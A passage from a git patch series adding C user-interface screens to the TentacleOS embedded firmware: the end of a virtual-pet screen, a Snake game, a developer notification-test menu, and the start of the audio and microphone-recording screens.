&lv_font_montserrat_12, 0); + lv_obj_align(c, LV_ALIGN_TOP_LEFT, 8, 30 + i * 18); + + lv_obj_t *b = lv_bar_create(s_screen); + lv_obj_set_size(b, 88, 10); + lv_obj_align(b, LV_ALIGN_TOP_LEFT, 44, 32 + i * 18); + lv_bar_set_range(b, 0, STAT_MAX); + lv_obj_set_style_bg_color(b, current_theme.bg_secondary, LV_PART_MAIN); + lv_obj_set_style_radius(b, 5, LV_PART_MAIN); + lv_obj_set_style_radius(b, 5, LV_PART_INDICATOR); + s_bar[i] = b; + + lv_obj_t *vl = lv_label_create(s_screen); + lv_obj_set_style_text_font(vl, &lv_font_montserrat_12, 0); + lv_obj_align(vl, LV_ALIGN_TOP_LEFT, 138, 30 + i * 18); + s_val[i] = vl; + } + + lv_obj_t *glow = lv_obj_create(s_screen); + lv_obj_remove_flag(glow, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(glow, 108, 108); + lv_obj_align(glow, LV_ALIGN_CENTER, 0, 2); + lv_obj_set_style_radius(glow, LV_RADIUS_CIRCLE, 0); + lv_obj_set_style_border_width(glow, 0, 0); + lv_obj_set_style_bg_color(glow, current_theme.border_accent, 0); + lv_obj_set_style_bg_opa(glow, LV_OPA_20, 0); + + lv_obj_t *plat = lv_obj_create(s_screen); + lv_obj_remove_flag(plat, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(plat, 118, 14); + lv_obj_align(plat, LV_ALIGN_CENTER, 0, 58); + lv_obj_set_style_radius(plat, 7, 0); + lv_obj_set_style_border_width(plat, 0, 0); + lv_obj_set_style_bg_color(plat, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_opa(plat, LV_OPA_70, 0); + + lv_image_dsc_t *dsc = assets_get(PET_ASSET); + if (dsc != NULL) { + s_pet = lv_image_create(s_screen); + lv_image_set_src(s_pet, dsc); + lv_image_set_pivot(s_pet, dsc->header.w / 2, dsc->header.h / 2); + lv_obj_align(s_pet, LV_ALIGN_CENTER, 0, 6); + s_pet_rest_y = lv_obj_get_y(s_pet); + + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, s_pet); + lv_anim_set_exec_cb(&a, float_y_cb); + lv_anim_set_values(&a, s_pet_rest_y, s_pet_rest_y - 6); + lv_anim_set_duration(&a, 1100); + lv_anim_set_playback_duration(&a, 1100); + lv_anim_set_repeat_count(&a, LV_ANIM_REPEAT_INFINITE); + lv_anim_set_path_cb(&a, lv_anim_path_ease_in_out); + lv_anim_start(&a); + } + + s_mood = lv_label_create(s_screen); + lv_obj_set_style_text_color(s_mood, current_theme.text_main, 0); + lv_obj_set_style_text_font(s_mood, &lv_font_montserrat_16, 0); + lv_obj_align(s_mood, LV_ALIGN_CENTER, -46, -34); + + lv_obj_t *moodw = lv_label_create(s_screen); + lv_obj_set_style_text_color(moodw, current_theme.text_main, 0); + lv_obj_set_style_text_font(moodw, &lv_font_montserrat_14, 0); + lv_obj_align(moodw, LV_ALIGN_BOTTOM_MID, 0, -64); + lv_label_set_text(moodw, mood_word()); + + lv_obj_t *bar = lv_obj_create(s_screen); + lv_obj_remove_flag(bar, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(bar, lv_pct(100), 48); + lv_obj_align(bar, LV_ALIGN_BOTTOM_MID, 0, -6); + lv_obj_set_style_bg_opa(bar, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(bar, 0, 0); + lv_obj_set_style_pad_all(bar, 2, 0); + lv_obj_set_flex_flow(bar, LV_FLEX_FLOW_ROW); + lv_obj_set_flex_align( + bar, LV_FLEX_ALIGN_SPACE_EVENLY, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + + for (int i = 0; i < ACT_COUNT; i++) { + lv_obj_t *cell = lv_obj_create(bar); + lv_obj_remove_flag(cell, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(cell, 70, 38); + lv_obj_set_style_radius(cell, 8, 0); + lv_obj_set_style_bg_color(cell, current_theme.bg_primary, 0); + lv_obj_set_style_bg_grad_color(cell, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_grad_dir(cell, LV_GRAD_DIR_VER, 0); + lv_obj_set_style_border_color(cell, current_theme.border_interface, 0); + lv_obj_set_style_border_width(cell, 1, 0); + lv_obj_t *l = lv_label_create(cell); + lv_label_set_text(l, ACT_NAMES[i]); + lv_obj_set_style_text_color(l, current_theme.text_main, 0); + lv_obj_set_style_text_font(l, &lv_font_montserrat_12, 0); + lv_obj_center(l); + s_cell[i] = cell; + } + + refresh_bars(false); + refresh_age(); + update_action_focus(); + refresh_pet_look(); + if (s_fainted) + show_faint(); + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_MS, NULL); + if (s_life_timer == NULL) + s_life_timer = lv_timer_create(life_tick_cb, LIFE_MS, NULL); + + ui_screen_load(s_screen); + ESP_LOGI( + TAG, "octo-pet opened (H%d P%d E%d C%d Lv%d)", s_hunger, s_happy, s_energy, s_clean, s_level); +} diff --git a/firmware_p4/components/Applications/ui/screens/games/snake_ui.c b/firmware_p4/components/Applications/ui/screens/games/snake_ui.c new file mode 100644 index 000000000..4ef811832 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/games/snake_ui.c @@ -0,0 +1,317 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "snake_ui.h" + +#include + +#include "esp_random.h" +#include "lvgl.h" +#include "nvs.h" + +#include "buttons_gpio.h" +#include "game_fx.h" +#include "st7789.h" +#include "ui_manager.h" +#include "ui_theme.h" + +#define TICK_MS 33 +#define STEP_TICKS 4 +#define CELL 16 +#define TOPBAR 26 +#define MAX_SEG 96 +#define START_LEN 4 +#define FOOD_PLACE_TRIES 200 + +#define COL_BG 0x0A0014 +#define COL_BODY 0x9C27B0 +#define COL_HEAD 0xE040FB +#define COL_FOOD 0x00E676 + +enum { ST_PLAY, ST_DEAD }; + +static lv_obj_t *s_screen = NULL; +static lv_obj_t *s_seg[MAX_SEG]; +static lv_obj_t *s_food_obj = NULL; +static lv_obj_t *s_score_lbl = NULL; +static lv_obj_t *s_msg_panel = NULL, *s_msg_lbl = NULL; +static lv_timer_t *s_timer = NULL; + +static int s_state = ST_PLAY; +static int s_cols, s_rows, s_origin_x, s_origin_y; +static int s_bx[MAX_SEG], s_by[MAX_SEG]; +static int s_len; +static int s_dx, s_dy; +static int s_ndx, s_ndy; +static int s_food_x, s_food_y; +static int s_score; +static uint32_t s_best; +static int s_tick_acc; + +static bool s_up_last, s_down_last, s_left_last, s_right_last, s_ok_last, s_back_last; + +static uint32_t load_best(void) { + nvs_handle_t h; + uint32_t v = 0; + if (nvs_open("snake", NVS_READONLY, &h) == ESP_OK) { + nvs_get_u32(h, "best", &v); + nvs_close(h); + } + return v; +} +static void save_best(uint32_t v) { + nvs_handle_t h; + if (nvs_open("snake", NVS_READWRITE, &h) == ESP_OK) { + nvs_set_u32(h, "best", v); + nvs_commit(h); + nvs_close(h); + } +} + +static void cell_pos(lv_obj_t *o, int cx, int cy) { + lv_obj_set_pos(o, s_origin_x + cx * CELL, s_origin_y + cy * CELL); +} + +static bool on_snake(int cx, int cy) { + for (int i = 0; i < s_len; i++) + if (s_bx[i] == cx && s_by[i] == cy) + return true; + return false; +} + +static void place_food(void) { + for (int tries = 0; tries < FOOD_PLACE_TRIES; tries++) { + int cx = esp_random() % s_cols; + int cy = esp_random() % s_rows; + if (!on_snake(cx, cy)) { + s_food_x = cx; + s_food_y = cy; + break; + } + } + cell_pos(s_food_obj, s_food_x, s_food_y); +} + +static void render_body(void) { + for (int i = 0; i < MAX_SEG; i++) { + if (i < s_len) { + lv_obj_remove_flag(s_seg[i], LV_OBJ_FLAG_HIDDEN); + cell_pos(s_seg[i], s_bx[i], s_by[i]); + lv_obj_set_style_bg_color(s_seg[i], lv_color_hex(i == 0 ? COL_HEAD : COL_BODY), 0); + } else { + lv_obj_add_flag(s_seg[i], LV_OBJ_FLAG_HIDDEN); + } + } +} + +static void set_score_text(void) { + lv_label_set_text_fmt(s_score_lbl, "Score %d", s_score); +} + +static void reset_game(void) { + s_state = ST_PLAY; + s_score = 0; + s_len = START_LEN; + int sx = s_cols / 2, sy = s_rows / 2; + for (int i = 0; i < s_len; i++) { + s_bx[i] = sx - i; + s_by[i] = sy; + } + s_dx = 1; + s_dy = 0; + s_ndx = 1; + s_ndy = 0; + s_tick_acc = 0; + place_food(); + render_body(); + set_score_text(); + lv_obj_add_flag(s_msg_panel, LV_OBJ_FLAG_HIDDEN); +} + +static void die(void) { + s_state = ST_DEAD; + game_fx(GFX_CRASH); + if ((uint32_t)s_score > s_best) { + s_best = (uint32_t)s_score; + save_best(s_best); + } + lv_label_set_text_fmt(s_msg_lbl, + "GAME OVER\n\nScore %d\nBest %u\n\nOK = retry\nBACK = exit", + s_score, + (unsigned)s_best); + lv_obj_remove_flag(s_msg_panel, LV_OBJ_FLAG_HIDDEN); + lv_obj_move_foreground(s_msg_panel); +} + +static void step(void) { + if (!(s_ndx == -s_dx && s_ndy == -s_dy)) { + s_dx = s_ndx; + s_dy = s_ndy; + } + + int nhx = s_bx[0] + s_dx; + int nhy = s_by[0] + s_dy; + + if (nhx < 0 || nhx >= s_cols || nhy < 0 || nhy >= s_rows) { + die(); + return; + } + + bool grow = (nhx == s_food_x && nhy == s_food_y); + + int last = s_len - 1; + for (int i = 0; i < s_len; i++) { + if (i == last && !grow) + continue; + if (s_bx[i] == nhx && s_by[i] == nhy) { + die(); + return; + } + } + + if (grow && s_len < MAX_SEG) + s_len++; + for (int i = s_len - 1; i > 0; i--) { + s_bx[i] = s_bx[i - 1]; + s_by[i] = s_by[i - 1]; + } + s_bx[0] = nhx; + s_by[0] = nhy; + + if (grow) { + s_score++; + set_score_text(); + game_fx(GFX_EAT); + place_food(); + } + render_body(); +} + +static void tick_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_timer = NULL; + return; + } + bool up = ui_btn_up(), down = ui_btn_down(), left = ui_btn_left(); + bool right = ui_btn_right(), ok = ok_button_is_down(), back = back_button_is_down(); + + if (!ui_input_is_locked()) { + if (back && !s_back_last) { + s_back_last = back; + ui_switch_screen(SCREEN_GAMES_MENU); + return; + } + + if (s_state == ST_PLAY) { + if (up && !s_up_last) { + s_ndx = 0; + s_ndy = -1; + } else if (down && !s_down_last) { + s_ndx = 0; + s_ndy = 1; + } else if (left && !s_left_last) { + s_ndx = -1; + s_ndy = 0; + } else if (right && !s_right_last) { + s_ndx = 1; + s_ndy = 0; + } + } else if (ok && !s_ok_last) { + reset_game(); + } + } + + if (s_state == ST_PLAY && ++s_tick_acc >= STEP_TICKS) { + s_tick_acc = 0; + step(); + } + + s_up_last = up; + s_down_last = down; + s_left_last = left; + s_right_last = right; + s_ok_last = ok; + s_back_last = back; +} + +void ui_snake_open(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + s_up_last = s_down_last = s_left_last = s_right_last = s_ok_last = s_back_last = false; + s_best = load_best(); + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, lv_color_hex(COL_BG), 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_pad_all(s_screen, 0, 0); + lv_obj_set_style_border_width(s_screen, 0, 0); + + int w = LCD_H_RES, h = LCD_V_RES; + s_cols = w / CELL; + s_rows = (h - TOPBAR) / CELL; + s_origin_x = (w - s_cols * CELL) / 2; + s_origin_y = TOPBAR + (h - TOPBAR - s_rows * CELL) / 2; + + s_food_obj = lv_obj_create(s_screen); + lv_obj_remove_flag(s_food_obj, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(s_food_obj, CELL - 2, CELL - 2); + lv_obj_set_style_radius(s_food_obj, LV_RADIUS_CIRCLE, 0); + lv_obj_set_style_border_width(s_food_obj, 0, 0); + lv_obj_set_style_bg_opa(s_food_obj, LV_OPA_COVER, 0); + lv_obj_set_style_bg_color(s_food_obj, lv_color_hex(COL_FOOD), 0); + + for (int i = 0; i < MAX_SEG; i++) { + s_seg[i] = lv_obj_create(s_screen); + lv_obj_remove_flag(s_seg[i], LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(s_seg[i], CELL - 1, CELL - 1); + lv_obj_set_style_radius(s_seg[i], 3, 0); + lv_obj_set_style_border_width(s_seg[i], 0, 0); + lv_obj_set_style_bg_opa(s_seg[i], LV_OPA_COVER, 0); + lv_obj_set_style_bg_color(s_seg[i], lv_color_hex(COL_BODY), 0); + lv_obj_add_flag(s_seg[i], LV_OBJ_FLAG_HIDDEN); + } + + s_score_lbl = lv_label_create(s_screen); + lv_obj_set_style_text_color(s_score_lbl, lv_color_hex(0xFFFFFF), 0); + lv_obj_set_style_text_font(s_score_lbl, &lv_font_montserrat_14, 0); + lv_obj_align(s_score_lbl, LV_ALIGN_TOP_MID, 0, 5); + + s_msg_panel = lv_obj_create(s_screen); + lv_obj_remove_flag(s_msg_panel, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(s_msg_panel, w - 60, LV_SIZE_CONTENT); + lv_obj_align(s_msg_panel, LV_ALIGN_CENTER, 0, 0); + lv_obj_set_style_radius(s_msg_panel, 14, 0); + lv_obj_set_style_bg_color(s_msg_panel, lv_color_hex(0x1A0426), 0); + lv_obj_set_style_bg_opa(s_msg_panel, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(s_msg_panel, 2, 0); + lv_obj_set_style_border_color(s_msg_panel, ui_theme_get_accent(), 0); + lv_obj_set_style_pad_all(s_msg_panel, 14, 0); + s_msg_lbl = lv_label_create(s_msg_panel); + lv_obj_set_style_text_color(s_msg_lbl, lv_color_hex(0xFFFFFF), 0); + lv_obj_set_style_text_font(s_msg_lbl, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_align(s_msg_lbl, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_center(s_msg_lbl); + + reset_game(); + + if (s_timer == NULL) + s_timer = lv_timer_create(tick_cb, TICK_MS, NULL); + + ui_screen_load(s_screen); +} From fc2d74f73093621ca9e705fcd9a38698538138c7 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 13:11:50 -0300 Subject: [PATCH 121/572] feat(ui): add developer submenu screen --- .../Applications/ui/screens/dev/dev_menu_ui.c | 116 ++++++++++++++++++ .../ui/screens/dev/include/dev_menu_ui.h | 31 +++++ 2 files changed, 147 insertions(+) create mode 100644 firmware_p4/components/Applications/ui/screens/dev/dev_menu_ui.c create mode 100644 firmware_p4/components/Applications/ui/screens/dev/include/dev_menu_ui.h diff --git a/firmware_p4/components/Applications/ui/screens/dev/dev_menu_ui.c b/firmware_p4/components/Applications/ui/screens/dev/dev_menu_ui.c new file mode 100644 index 000000000..20700a3d4 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/dev/dev_menu_ui.c @@ -0,0 +1,116 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "dev_menu_ui.h" + +#include "lvgl.h" + +#include "buttons_gpio.h" +#include "error_ui.h" +#include "menu_component_ui.h" +#include "notify_ui.h" +#include "ui_feedback.h" +#include "ui_manager.h" +#include "ui_theme.h" + +#define NAV_TIMER_MS 50 + +enum { IT_NOTIFY = 0, IT_LORA, IT_WARN, IT_INFO, IT_ERROR, IT_COUNT }; + +static lv_obj_t *s_screen = NULL; +static menu_component_t s_menu; +static lv_timer_t *s_timer = NULL; +static bool s_up_last, s_down_last, s_ok_last, s_back_last; + +static void fire(int idx) { + switch (idx) { + case IT_NOTIFY: + notify(NOTIFY_UPDATE, "TentacleOS 2.1 ready"); + break; + case IT_LORA: + notify(NOTIFY_LORA, "node-2: on my way"); + break; + case IT_WARN: + notify(NOTIFY_WARNING, "Battery low - 15%"); + break; + case IT_INFO: + notify(NOTIFY_INFO, "Paired with phone"); + break; + case IT_ERROR: + error_show("C5 offline", "Co-processor stopped responding"); + break; + default: + break; + } +} + +static void tick_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_timer = NULL; + return; + } + if (ui_input_is_locked()) + return; + + bool up = ui_btn_up(), down = ui_btn_down(); + bool ok = ok_button_is_down(), back = back_button_is_down(); + + if (back && !s_back_last) { + ui_switch_screen(SCREEN_MENU); + return; + } + if (down && !s_down_last) { + menu_component_next(&s_menu); + ui_feedback(UI_FB_NAV); + } + if (up && !s_up_last) { + menu_component_prev(&s_menu); + ui_feedback(UI_FB_NAV); + } + if (ok && !s_ok_last) + fire(menu_component_get_selected(&s_menu)); + + s_up_last = up; + s_down_last = down; + s_ok_last = ok; + s_back_last = back; +} + +void ui_dev_menu_open(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + s_up_last = s_down_last = s_ok_last = s_back_last = false; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + s_menu = menu_component_create(s_screen, "DEV", NULL); + menu_component_add_item(&s_menu, NULL, "Notification"); + menu_component_add_item(&s_menu, NULL, "Notify - LoRa"); + menu_component_add_item(&s_menu, NULL, "Notify - Warning"); + menu_component_add_item(&s_menu, NULL, "Notify - Info"); + menu_component_add_item(&s_menu, NULL, "Error banner"); + menu_component_set_hint(&s_menu, "OK send BACK exit"); + + if (s_timer == NULL) + s_timer = lv_timer_create(tick_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); +} diff --git a/firmware_p4/components/Applications/ui/screens/dev/include/dev_menu_ui.h b/firmware_p4/components/Applications/ui/screens/dev/include/dev_menu_ui.h new file mode 100644 index 000000000..1fcbf74e6 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/dev/include/dev_menu_ui.h @@ -0,0 +1,31 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef DEV_MENU_UI_H +#define DEV_MENU_UI_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @brief Open the developer submenu (reached from the "dev" coverflow entry). + * First item fires a demo notification; the rest exercise the other types. */ +void ui_dev_menu_open(void); + +#ifdef __cplusplus +} +#endif + +#endif // DEV_MENU_UI_H From 011b076829a7f340538c948dda6115e5b989044b Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 13:12:55 -0300 Subject: [PATCH 122/572] feat(ui): add audio screens --- .../ui/screens/audio/include/micrec_ui.h | 30 + .../ui/screens/audio/include/speaker_ui.h | 30 + .../ui/screens/audio/include/spectrum_ui.h | 26 + .../Applications/ui/screens/audio/micrec_ui.c | 476 ++++++++++++++ .../ui/screens/audio/speaker_ui.c | 579 ++++++++++++++++++ .../ui/screens/audio/spectrum_ui.c | 382 ++++++++++++ 6 files changed, 1523 insertions(+) create mode 100644 firmware_p4/components/Applications/ui/screens/audio/include/micrec_ui.h create mode 100644 firmware_p4/components/Applications/ui/screens/audio/include/speaker_ui.h create mode 100644 firmware_p4/components/Applications/ui/screens/audio/include/spectrum_ui.h create mode 100644 firmware_p4/components/Applications/ui/screens/audio/micrec_ui.c create mode 100644 firmware_p4/components/Applications/ui/screens/audio/speaker_ui.c create mode 100644 firmware_p4/components/Applications/ui/screens/audio/spectrum_ui.c diff --git a/firmware_p4/components/Applications/ui/screens/audio/include/micrec_ui.h b/firmware_p4/components/Applications/ui/screens/audio/include/micrec_ui.h new file mode 100644 index 000000000..3621a9b75 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/audio/include/micrec_ui.h @@ -0,0 +1,30 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef MICREC_UI_H +#define MICREC_UI_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @brief Open the mic-record → speaker-playback test screen. */ +void ui_micrec_open(void); + +#ifdef __cplusplus +} +#endif + +#endif // MICREC_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/audio/include/speaker_ui.h b/firmware_p4/components/Applications/ui/screens/audio/include/speaker_ui.h new file mode 100644 index 000000000..f9ab21b25 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/audio/include/speaker_ui.h @@ -0,0 +1,30 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef SPEAKER_UI_H +#define SPEAKER_UI_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @brief Open the speaker test menu (play tones/sounds on the MAX98357 amp). */ +void ui_speaker_open(void); + +#ifdef __cplusplus +} +#endif + +#endif // SPEAKER_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/audio/include/spectrum_ui.h b/firmware_p4/components/Applications/ui/screens/audio/include/spectrum_ui.h new file mode 100644 index 000000000..a6b1476da --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/audio/include/spectrum_ui.h @@ -0,0 +1,26 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef SPECTRUM_UI_H +#define SPECTRUM_UI_H + +/** + * @brief Open the live audio spectrum analyzer: a background task streams the + * PDM mic, runs a real FFT (esp-dsp) and feeds AGC-normalized frequency + * bands to an animated bar display. BACK returns to Settings. + */ +void ui_spectrum_open(void); + +#endif // SPECTRUM_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/audio/micrec_ui.c b/firmware_p4/components/Applications/ui/screens/audio/micrec_ui.c new file mode 100644 index 000000000..8b48f0131 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/audio/micrec_ui.c @@ -0,0 +1,476 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "micrec_ui.h" + +#include +#include + +#include "audio_i2s.h" +#include "esp_heap_caps.h" +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +#include "buttons_gpio.h" +#include "menu_component_ui.h" +#include "ui_manager.h" +#include "ui_theme.h" + +static const char *TAG = "MICREC_UI"; + +#define NAV_TIMER_MS 50 +#define REC_RATE 16000 +#define REC_MAX_SECONDS 5 +#define BUF_HEADROOM (24 * 1024) +#define ACCENT_GREEN 0x00E676 +#define NORM_MAX_GAIN_Q8 (64 * 256) +#define VU_FULLSCALE_PEAK 7000 +#define SCOPE_W 80 +#define SCOPE_FULL 9000.0f +#define OVERLAY_TICK_MS 60 +#define OVERLAY_HIDE_MS 700 +#define MIC_TASK_STACK 4096 +#define MIC_TASK_PRIORITY 4 +#define REC_TARGET_DEFAULT 26000 +#define REC_TARGET_MIN 16000 +#define REC_TARGET_STEP 3400 + +enum { ROW_LEVEL, ROW_REC, ROW_PLAY, ROW_LOOP, ROW_COUNT }; +enum { OV_TIME, OV_VU }; +enum { ST_IDLE, ST_RECORDING, ST_PLAYING }; + +static lv_obj_t *s_screen = NULL; +static menu_component_t s_menu; +static lv_timer_t *s_nav_timer = NULL; +static lv_obj_t *s_status_lbl = NULL; + +static lv_obj_t *s_ov = NULL; +static lv_obj_t *s_ov_label = NULL; +static lv_obj_t *s_ov_bar = NULL; +static lv_obj_t *s_scope_line = NULL; +static lv_timer_t *s_ov_timer = NULL; +static int s_ov_mode = OV_TIME; +static uint32_t s_ov_start = 0; +static uint32_t s_ov_total = 1; +static volatile bool s_op_done = false; +static char s_done_text[24] = ""; +static volatile int s_live_peak = 0; +static volatile int s_live_rms = 0; +static int s_vu_display = 0; + +static volatile int16_t s_scope[SCOPE_W]; +static volatile int s_scope_head = 0; +static lv_point_precise_t s_scope_pts[SCOPE_W]; + +static int16_t *s_rec_buf = NULL; +static size_t s_rec_capacity = 0; +static volatile size_t s_rec_samples = 0; +static volatile bool s_busy = false; +static volatile bool s_stop_req = false; +static volatile int s_state = ST_IDLE; +static bool s_loop = false; +static uint32_t s_last_ms = 0; +static int s_rec_target = REC_TARGET_DEFAULT; + +static bool s_btn_up_last, s_btn_down_last, s_btn_left_last, s_btn_right_last; +static bool s_btn_ok_last, s_btn_back_last; + +static bool ensure_buffer(void) { + if (s_rec_buf != NULL) + return true; + size_t want = (size_t)REC_RATE * REC_MAX_SECONDS; + size_t largest = heap_caps_get_largest_free_block(MALLOC_CAP_8BIT); + size_t avail = (largest > BUF_HEADROOM) ? (largest - BUF_HEADROOM) : 0; + size_t cap_samples = avail / sizeof(int16_t); + size_t n = (want < cap_samples) ? want : cap_samples; + if (n < REC_RATE) { + ESP_LOGE(TAG, "no RAM for mic buffer (largest free %u B)", (unsigned)largest); + return false; + } + s_rec_buf = heap_caps_malloc(n * sizeof(int16_t), MALLOC_CAP_8BIT); + if (s_rec_buf == NULL) + return false; + s_rec_capacity = n; + ESP_LOGI(TAG, "mic buffer: %u samples (~%u s)", (unsigned)n, (unsigned)(n / REC_RATE)); + return true; +} + +static void normalize_pcm(int16_t *buf, size_t n, int target) { + if (n == 0) + return; + int32_t peak = 1; + for (size_t i = 0; i < n; i++) { + int32_t a = buf[i] < 0 ? -(int32_t)buf[i] : buf[i]; + if (a > peak) + peak = a; + } + int32_t gain_q8 = (target * 256) / peak; + if (gain_q8 < 256) + gain_q8 = 256; + if (gain_q8 > NORM_MAX_GAIN_Q8) + gain_q8 = NORM_MAX_GAIN_Q8; + for (size_t i = 0; i < n; i++) { + int32_t v = ((int32_t)buf[i] * gain_q8) >> 8; + if (v > 32767) + v = 32767; + else if (v < -32768) + v = -32768; + buf[i] = (int16_t)v; + } +} + +static void scope_reset(void) { + for (int i = 0; i < SCOPE_W; i++) + s_scope[i] = 0; + s_scope_head = 0; +} + +static void scope_push(int peak) { + int h = s_scope_head; + s_scope[h] = (int16_t)(peak > 32767 ? 32767 : peak); + s_scope_head = (h + 1) % SCOPE_W; +} + +static void scope_redraw(void) { + if (s_scope_line == NULL) + return; + int head = s_scope_head; + for (int j = 0; j < SCOPE_W; j++) { + int idx = (head + j) % SCOPE_W; + float v = (float)s_scope[idx] / SCOPE_FULL; + if (v > 1.0f) + v = 1.0f; + s_scope_pts[j].x = 6 + j * 178 / (SCOPE_W - 1); + s_scope_pts[j].y = 40 - (int)(v * 34.0f); + } + lv_obj_invalidate(s_scope_line); +} + +static void overlay_hide_cb(lv_timer_t *t) { + lv_timer_delete(t); + if (s_ov) { + lv_obj_del(s_ov); + s_ov = NULL; + s_ov_label = NULL; + s_ov_bar = NULL; + s_scope_line = NULL; + } +} + +static void overlay_tick(lv_timer_t *t) { + if (s_ov_bar == NULL) { + lv_timer_delete(t); + s_ov_timer = NULL; + return; + } + if (s_op_done) { + lv_bar_set_value(s_ov_bar, 100, LV_ANIM_OFF); + if (s_ov_label) + 